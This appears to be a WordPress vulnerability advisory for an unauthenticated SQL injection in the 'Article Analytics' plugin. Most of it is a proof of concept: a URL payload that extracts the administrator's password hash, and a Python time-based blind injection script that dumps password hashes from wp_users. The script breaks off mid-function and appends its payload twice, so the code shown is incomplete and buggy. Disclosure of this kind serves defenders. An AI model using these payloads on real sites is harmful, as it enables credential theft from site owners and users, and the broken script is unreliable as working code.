WordPress Plugin Vulnerabilities

Article Analytics <= 1.0 - Unauthenticated SQL injection

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection vulnerability.

Proof of Concept

On a Wordpress blog using MySQL the following PoC allows to extract the hash of the administrator :

http://localhost:8000/?p=1%20AND%20GTID_SUBSET%28CONCAT%280x686173683a%2C%28SELECT%20user_pass%20FROM%20%60wordpress%60.wp_users%20ORDER%20BY%20ID%20LIMIT%201%2C1%29%29%2C4001%29

import sys
from urllib.parse import quote, urlparse, urlunparse
from time import time

import requests
from requests.exceptions import RequestException
# Nicolas "devloop" Surribas - 2023
# Exploit for Wordpress plugin "Article Analytics"

# Time-based blind SQL injection exploit
# Tweak the following parameters

# Time to wait in the DBMS when checking for a value. Increase if the target is lagging. Must be an int.
TIME = 1
# Numbers of users to dump from the users database. For admin account, 1 should be enough.
COUNT_USERS = 2
# Users table. Change if custom.
USERS_TABLE = "wp_users"

class ColumnDumper:
    def __init__(self, table_name, column_name, order_by):
        self._table = table_name
        self._column = column_name
        self._order_by = order_by

    def get_at_offset(self, offset):
        return f"SELECT IFNULL(CAST({self._column} AS NCHAR),0x20) FROM {self._table} ORDER BY {self._order_by} LIMIT {offset},1"

    def get_char_at(self, expression, offset):
        return f"ORD(MID(({expression}), {offset}, 1))"

    def test(self, expression, success, failure):
        return f"IF({expression}, {success}, {failure})"

    def sleep(self, expression):
        return f"(SELECT SLEEP({expression}))"

    def test_value(self, column_offset, char_offset, operator, value):
        return self.sleep(
            self.test(
                self.get_char_at(self.get_at_offset(column_offset), char_offset) + f" {operator} {value}",
                TIME,
                0
            )
        )


class Exploit:
    def __init__(self, url):
        self._sess = requests.session()
        parts = urlparse(url)
        # Get rid of parameters to have a clean version with empty "p" parameter
        self._url = urlunparse((parts.scheme, parts.netloc, parts.path, "", "p=", ""))

    def run(self, column_name):
        """Dump columns using cheap dichotomy"""
        self._cd = ColumnDumper(USERS_TABLE, column_name, "ID")
        for column_idx in range(COUNT_USERS):
            content = ""
            done = False
            for char_offset in range(1, 128):
                candidates = self.get_test_range(column_idx, char_offset)
                for c in candidates:
                    if self.test_char(column_idx, char_offset, c):
                        if c == 0:
                            done = True
                            break
                        content += chr(c)
                        print(f"In progress: {content}")
                        break
                else:
                    break
                if done:
                    break
            print(f"Found {content}")

    def perform_test(self, expression):
        """Fetch the URL, check the time for response"""
        start = time()
        # Uncomment that line to see the requests
        # print(self._url + expression)
        url = self._url + quote(expression)
        self._sess.get(url + quote(expression))
        

Affects Plugins

No known fix

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Nicolas Surribas
Submitter
Nicolas Surribas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-10-27 (about 6 months ago)
Added
2023-10-27 (about 6 months ago)
Last Updated
2023-10-31 (about 6 months ago)

Other